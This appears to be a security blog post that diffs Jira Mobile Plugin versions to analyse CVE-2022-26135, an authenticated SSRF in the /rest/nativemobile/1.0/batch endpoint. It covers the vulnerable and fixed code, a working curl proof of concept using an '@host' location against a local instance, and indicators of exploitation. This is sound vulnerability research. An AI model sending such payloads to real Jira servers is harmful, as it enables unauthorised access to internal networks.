Reversing the CVE-2022-26135 update for fun and PoC
Analyzing and exploiting an SSRF vulnerability in Atlassian Jira
How can the server-side request forgery (SSRF) vulnerability in Atlassian Jira be exploited? What indicators are present after a successful exploitation? How was the vulnerability fixed?
Assetnote’s Blog Post and their exploit code were not published when this blog post was written. They nicely show how the vulnerability was discovered and confirm the findings published here.
Security advisory
The Jira Server Security Advisory describes the vulnerability as an authenticated SSRF via the “batch HTTP endpoint” used in it’s Mobile Plugin. It is also stated that the HTTP method and location of a target URL can be controlled by an attacker.
While an updated version of Jira contains a fix to this vulnerability, the Mitigation section of the advisory hints to a smaller piece that can be analyzed: It is possible to just update the affected plugin which would be a much smaller code base to look through.
Analyzing the vulnerable and fixed codes
The latest vulnerable plugin version 3.2.14 and the fixed version 3.2.15 can both be downloaded from the plugin’s Version History page. Using jardiff the changes between the versions can be easily listed. Eight files have been changed between those two versions. Five of those changes basically only consist of the new version number, some unrelated dependencies and a build date (atlassian-plugin.xml
, mobile-plugin.properties
, MANIFEST.MF
, pom.properties
and pom.xml
). The other three files (BatchResource.class
, LinkBuilder.class
and UriUtils.class
), all of which are java classes, contain the actual code changes.
While an analysis of the disassembled class files would work, they are a little hard to read and understand quickly. The tool jd-gui does a great job at decompiling the classes and making them (more) human readable.
BatchResource and BatchServiceImpl
This class in com.atlassian.jira.plugin.mobile.rest.v1_0
defines the /batch
API endpoint which was mentioned in the security advisory. The code is annotated which makes understanding the inner workings pretty easy. The endpoint allows a client to let the server execute up to five requests and return the bundeled responses.
@Tag(name = "Batch API", description = "Contains all operations for batch requests")
@Path("/batch")
@Consumes({"application/json"})
@Produces({"application/json"})
@Component
public class BatchResource
{
[...]
@Operation(description = "Executes a batch request", responses = {@ApiResponse(responseCode = "200", description = "List of responses to all requests in the batch", content = {@Content(array = @ArraySchema(schema = @Schema(implementation = BatchResponseBean.class)))}), @ApiResponse(responseCode = "400", description = "In any of the following conditions are met:\n- A request method is not set\n- A request location is not set\n- The amount of batch requests given is greater than 5")})
@POST
public Response executeBatch(@Context HttpServletRequest httpRequest, RequestsBean<BatchRequestBean> requestsBean) {
[...]
}
[...]
}
This class is basically just checking the request’s validity (request method and location set, not more than five requests). The updated version of this class appended “A request location is not safe” to the description of the status code 400 and introduced the check function UriUtils.arePathsSafe
which will be analyzed later:
if (!UriUtils.arePathsSafe(new String[] { location })) {
errors.add("Location is not safe");
}
The batch service’s implementation can be found in com.atlassian.jira.plugin.mobile.service.impl.BatchServiceImpl
. The interesting part here is the execute
function which executes the outgoing requests.
private Optional<BatchResponseBean> execute(BatchRequestBean requestBean, Map<String, String> headers) {
String relativeLocation = requestBean.getLocation();
URL jiraLocation = toJiraLocation(relativeLocation);
if (jiraLocation == null) {
return Optional.of(buildResponse(relativeLocation, 400));
}
Request request = (new Request.Builder()).url(jiraLocation).headers(Headers.of(headers)).method(requestBean.getMethod().name(), (requestBean.getBody() == null) ? null : RequestBody.create(JSON, requestBean.getBody().toString())).build();
[...]
}
The request location as provided by the client is modified by the function toJiraLocation
which calls the forRelativePath
function from the LinkBuilder
class:
private URL toJiraLocation(String relativeLocation) {
try {
return this.linkBuilder.forRelativePath(relativeLocation).toURL();
} catch (Exception e) {
log.warn("Cannot parse relative location: [" + relativeLocation + "]");
return null;
}
}
There were no code changes in the service implementation.
LinkBuilder
The function toJiraLocation
is where the original issue can be found:
import com.atlassian.jira.issue.fields.rest.json.beans.JiraBaseUrls;
[...]
public class LinkBuilder
{
[...]
private final JiraBaseUrls jiraBaseUrls;
[...]
public URI forRelativePath(String path) {
return URI.create(this.jiraBaseUrls.baseUrl() + path);
}
[...]
}
Atlassian has an API documentation for JiraBaseUrls that provides a description of the baseUrl
function:
The canonical base URL for this instance. It will return an absolute URL without trailing “/” character (eg. “
http://example.com/jira
”).
Here we go. Assuming the server is running at jira.victim.com
, the line before becomes:
URI.create("https://jira.victim.com" + path);
The path
part is provided by the client and is not checked in the vulnerable plugin version at all. An attacker can just send @attacker.com
as the target location, resulting in a server-side request to attacker.com
(or any internal host/IP reachable by the Jira instance).
The updated implementation introduces a similar call to UriUtils.arePathsSafe
as seen before, plus some more formatting:
public URI forRelativePath(String path) {
if (path == null || path.isEmpty()) {
return URI.create(this.jiraBaseUrls.baseUrl());
}
URI pathURI = URI.create(path);
if (!UriUtils.arePathsSafe(new String[] { pathURI.getPath() })) {
throw new IllegalArgumentException(String.format("Path '%s' is not safe: it contains illegal character '@' or traverses the path.", new Object[] { pathURI }));
}
return UriBuilder.fromPath(this.jiraBaseUrls.baseUrl())
.path(pathURI.getPath())
.replaceQuery(pathURI.getQuery())
.build(new Object[0]);
}
}
UriUtils
The UriUtils
class was updated to include the new function arePathsSafe
, which parses the submitted URI and checks for path traversal (..
) or an @
in it.
public static boolean arePathsSafe(URI... uris) {
return Arrays.stream(uris)
.map(URI::getPath)
.map(EncodedSymbol::decodeAll)
.map(PATH_TRAVERSAL::matcher)
.map(m -> m.replaceAll(".."))
.map(p -> URI.create(p).normalize().getPath())
.noneMatch(path -> (path.contains("@") || path.startsWith("..") || path.startsWith("/..")));
}
[...]
private enum EncodedSymbol {
SLASH("/", "%2f"),
DOT(".", "%2e"),
SEMICOLON(";", "%3B");
private final String actual;
private final Pattern pattern;
EncodedSymbol(String actual, String encoded) {
this.actual = actual;
this.pattern = Pattern.compile(encoded);
}
static String decodeAll(String text) {
if (!text.contains("%")) {
return text;
}
String decoded = text;
for (EncodedSymbol symbol : values()) {
decoded = symbol.decode(text);
}
return decoded;
}
String decode(String text) {
Matcher matcher = this.pattern.matcher(text);
if (matcher.matches()) {
return matcher.replaceAll(this.actual);
}
return text;
}
}
The vulnerability is fixed with these changes and the ones in LinkBuilder.forRelativePath
.
Exploiting the vulnerability
The vulnerable API endpoint can be found after consulting Atlassian’s REST plugin module documentation. Based on the documentation, the URL that maps to the batch service can be found from the information in atlassian-plugin.xml
:
<rest key="mobile-rest-api-1-0" path="/nativemobile" version="1.0">
<description>JIRA Mobile REST API</description>
<package>com.atlassian.jira.plugin.mobile.rest.v1_0</package>
<package>com.atlassian.jira.plugin.mobile.rest.v1_0.exception</package>
</rest>
The BatchResource
states @Path("/batch")
, combined with the REST path and version from the XML this becomes /rest/nativemobile/1.0/batch
. Based on the other annotations in BatchResource
it is clear that the endpoint expects a POST request with a JSON body. The function definition of executeBatch
shows the expected Request as RequestsBean<BatchRequestBean>
which is basically a List of BatchRequestBean
inside the requests
field. The BatchRequestBean
itself consists of the fields method
(enum of GET
, POST
, PUT
, DELETE
, OPTIONS
, or HEAD
), location
and body
. The payload therefore should be
{
"requests":
[
{
"method": "<request method>",
"location": "<request URL>",
"body": "<request body>"
}
]
}
To put this to the test, a vulnerable version of Jira can be easily deployed temporarily using docker:
docker run -it --rm -p 8080:8080 --name jira atlassian/jira-software:8.22.3
After setting up the instance with a trial key from Atlassian, the following request results in a successful exploitation of the SSRF vulnerability:
curl -u user:password -X POST http://127.0.0.1:8080/rest/nativemobile/1.0/batch -H 'Content-Type: application/json' -d '{"requests":[{"method": "GET", "location": "@httpbin.org/ip"}]}'
Note that this exploit needs user credentials which can be gained by just signing up to the site (if enabled) and can be passed to the API as basic authentication parameters (as above) or as a session cookie after logging in.
Indicators of exploitation
Besides the obvious indicators of SSRF (outbound DNS and web requests from the server) this particular vulnerability can be easily tracked by looking for successful (status code 200) POST requests to the REST endpoint /rest/nativemobile/1.0/batch
. If the Jira Server mobile app is not being used, this endpoint should likely never be called.
If the app is in use, differentiating legitimate calls from exploitation attempts can be tricky as the payload is located in the request body, which is usually not logged. Isolated calls to just this endpoint or the use of it by newly created users can be things to look out for.